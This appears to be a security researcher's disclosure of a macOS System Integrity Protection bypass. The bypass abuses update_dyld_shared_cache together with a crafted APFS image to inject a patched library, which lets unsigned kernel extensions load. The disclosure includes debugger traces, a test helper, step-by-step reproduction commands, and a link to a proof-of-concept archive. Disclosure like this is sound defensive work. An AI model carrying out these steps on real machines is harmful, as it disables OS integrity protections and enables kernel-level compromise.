Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g). On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally on the system and therefore doesn't have a real code signature; instead, SIP seems to be the only mechanism that prevents modifications of the dyld shared cache. update_dyld_shared_cache, the tool responsible for generating the shared cache, is able to write to /private/var/db/dyld/ because it has the com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache is responsible for ensuring that it only writes data from trustworthy libraries when updating the shared cache. update_dyld_shared_cache accepts two interesting command-line arguments that make it difficult to enforce these security properties: - "-root": Causes libraries to be read from, and the cache to be written to, a caller-specified filesystem location. - "-overlay": Causes libraries to be read from a caller-specified filesystem location before falling back to normal system directories. There are some checks related to this, but they don't look very effective. main() tries to see whether the target directory is protected by SIP: bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir); If that variable is true, update_dyld_shared_cache attempts to ensure that all source libraries are also protected by SIP. isProtectedBySIP() is implemented as follows: bool isProtectedBySIP(const std::string& path) { if ( !sipIsEnabled() ) return false; return (rootless_check_trusted(path.c_str()) == 0); } Ignoring that this looks like a typical symlink race issue, there's another problem: Looking in a debugger (with SIP configured so that only debugging restrictions and dtrace restrictions are disabled), it seems like rootless_check_trusted() doesn't work as expected: bash-3.2# lldb /usr/bin/update_dyld_shared_cache [...] (lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&) Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4 [...] (lldb) run -force Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64) Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) update_dyld_shared_cache`isProtectedBySIP: -> 0x1000433a4 <+0>: pushq %rbp 0x1000433a5 <+1>: movq %rsp, %rbp 0x1000433a8 <+4>: pushq %rbx 0x1000433a9 <+5>: pushq %rax Target 0: (update_dyld_shared_cache) stopped. (lldb) breakpoint set --name rootless_check_trusted Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea (lldb) continue Process 457 resuming Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted libsystem_sandbox.dylib`rootless_check_trusted: -> 0x7fff5f32b8ea <+0>: pushq %rbp 0x7fff5f32b8eb <+1>: movq %rsp, %rbp 0x7fff5f32b8ee <+4>: movl $0xffffffff, %esi ; imm = 0xFFFFFFFF 0x7fff5f32b8f3 <+9>: xorl %edx, %edx Target 0: (update_dyld_shared_cache) stopped. (lldb) print (char*)$rdi (char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/" (lldb) finish Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = step out frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54 update_dyld_shared_cache`isProtectedBySIP: -> 0x1000433da <+54>: testl %eax, %eax 0x1000433dc <+56>: sete %al 0x1000433df <+59>: addq $0x8, %rsp 0x1000433e3 <+63>: popq %rbx Target 0: (update_dyld_shared_cache) stopped. (lldb) print $rax (unsigned long) $1 = 1 Looking around with a little helper (under the assumption that it doesn't behave differently because it doesn't have the entitlement), it looks like only a small part of the SIP-protected directories show up as protected when you check with rootless_check_trusted(): bash-3.2# cat rootless_test.c #include <stdio.h> int rootless_check_trusted(char *); int main(int argc, char **argv) { int res = rootless_check_trusted(argv[1]); printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE"); } bash-3.2# ./rootless_test / rootless status for '/': 1 (MALLEABLE) bash-3.2# ./rootless_test /System rootless status for '/System': 0 (PROTECTED) bash-3.2# ./rootless_test /System/ rootless status for '/System/': 0 (PROTECTED) bash-3.2# ./rootless_test /System/Library rootless status for '/System/Library': 0 (PROTECTED) bash-3.2# ./rootless_test /System/Library/Assets rootless status for '/System/Library/Assets': 1 (MALLEABLE) bash-3.2# ./rootless_test /System/Library/Caches rootless status for '/System/Library/Caches': 1 (MALLEABLE) bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE) bash-3.2# ./rootless_test /usr rootless status for '/usr': 0 (PROTECTED) bash-3.2# ./rootless_test /usr/local rootless status for '/usr/local': 1 (MALLEABLE) bash-3.2# ./rootless_test /private rootless status for '/private': 1 (MALLEABLE) bash-3.2# ./rootless_test /private/var/db rootless status for '/private/var/db': 1 (MALLEABLE) bash-3.2# ./rootless_test /private/var/db/dyld/ rootless status for '/private/var/db/dyld/': 1 (MALLEABLE) bash-3.2# ./rootless_test /sbin rootless status for '/sbin': 0 (PROTECTED) bash-3.2# ./rootless_test /Applications/Mail.app/ rootless status for '/Applications/Mail.app/': 0 (PROTECTED) bash-3.2# Perhaps rootless_check_trusted() limits its trust to paths that are writable exclusively using installer entitlements like com.apple.rootless.install, or something like that? That's the impression I get when testing different entries from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted specific entitlement show up as protected, the ones with a whitelisted specific entitlement show up as malleable. rootless_check_trusted() checks for the "file-write-data" permission through the MAC syscall, but I haven't looked in detail at how the policy actually looks. (By the way, looking at update_dyld_shared_cache, I'm not sure whether it would actually work if the requireDylibsBeRootlessProtected flag is true - it looks like addIfMachO() would never add any libraries to dylibsForCache because `sipProtected` is fixed to `false` and the call to isProtectedBySIP() is commented out?) In theory, this means it's possible to inject a modified version of a library into the dyld cache using either the -root or the -overlay flag of update_dyld_shared_cache, reboot, and then run an entitled binary that will use the modified library. However, there are (non-security) checks that make this annoying: - When loading libraries, loadPhase5load() checks whether the st_ino and st_mtime of the on-disk library match the ones embedded in the dyld cache at build time. - Recently, dyld started ensuring that the libraries are all on the "boot volume" (the path specified with "-root", or "/" if no root was specified). The inode number check means that it isn't possible to just create a malicious copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to use the malicious copy; the modified library will have a different inode number. I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even that is possible; inode numbers are monotonically incrementing 64-bit integers. Since root (and even normal users) can mount filesystem images, I decided to create a new filesystem with appropriate inode numbers. I think HFS probably can't represent the full range of inode numbers that APFS can have (and that seem to show up on volumes that have been converted from HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I decided to go with an APFS image. Writing code to craft an entire APFS filesystem would probably take quite some time, and the public open-source APFS implementations seem to be read-only, so I'm first assembling a filesystem image normally (create filesystem with newfs_apfs, mount it, copy files in, unmount), then renumbering the inodes. By storing files in the right order, I don't even need to worry about allocating and deallocating space in tree nodes and such - all replacements can be performed in-place. My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so that it always returns zero, which causes the userspace kext loading code to ignore code signing errors. To reproduce: - Ensure that SIP is on. - Ensure that you have at least something like 8GiB of free disk space. - Unpack the attached dyld_sip.tar (as normal user). - Run ./collect.sh (as normal user). This should take a couple minutes, with more or less continuous status updates. At the end, it should say "READY" after mounting an image to /private/tmp/L. (If something goes wrong here and you want to re-run the script, make sure to detach the volume if the script left it attached - check "hdiutil info".) - As root, run "update_dyld_shared_cache -force -root /tmp/L". - Reboot the machine. - Build an (unsigned) kext from source. I have attached source code for a sample kext as testkext.tar - you can unpack it and use xcodebuild -, but that's just a simple "hello world" kext, you could also use anything else. - As root, copy the kext to /tmp/. - As root, run "kextutil /tmp/[...].kext". You should see something like this: bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" } Code Signing Failure: code signature is invalid Disabling KextAudit: SIP is off Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" } bash-3.2# dmesg|tail -n1 test kext loaded bash-3.2# kextstat | grep test 120 0 0xffffff7f82a50000 0x2000 0x2000 net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5> bash-3.2# Miscellaneous notes: - It looks like there's an OOB kernel write in the dyld shared cache pager; but AFAICS that isn't reachable unless you've already defeated SIP, so I don't think it's a vulnerability: vm_shared_region_slide_page_v3() is used when a page from the dyld cache is being paged in. It essentially traverses a singly-linked list of relocations inside the page; the offset of the first relocation (iow the offset of the list head) is stored permanently in kernel memory when the shared cache is initialized. As far as I can tell, this function is missing bounds checks; if either the starting offset or the offset stored in the page being paged in points outside the page, a relocation entry will be read from OOB memory, and a relocated address will conditionally be written back to the same address. - There is a check `rootPath != "/"` in update_dyld_shared_cache; but further up is this: // canonicalize rootPath if ( !rootPath.empty() ) { char resolvedPath[PATH_MAX]; if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) { rootPath = resolvedPath; } // <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty if ( rootPath == "/" ) { rootPath = ""; } } So as far as I can tell, that condition is always true, which means that when an overlay path is specified with `-overlay`, the cache is written to the root even though the code looks as if the cache is intended to be written to the overlay. - Some small notes regarding the APFS documentation at <https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>: - The typedef for apfs_superblock_t is missing. - The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but actually they can be j_drec_hashed_key_t. - The documentation claims that o_cksum is "The Fletcher 64 checksum of the object", but actually APFS requires that the fletcher64 checksum of all data behind the checksum concatenated with the checksum is zero. (In other words, you cut out the checksum field at the start, append it at the end, then run fletcher64 over the buffer, and then you have to get an all-zeroes checksum.) Proof of Concept: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47708.zip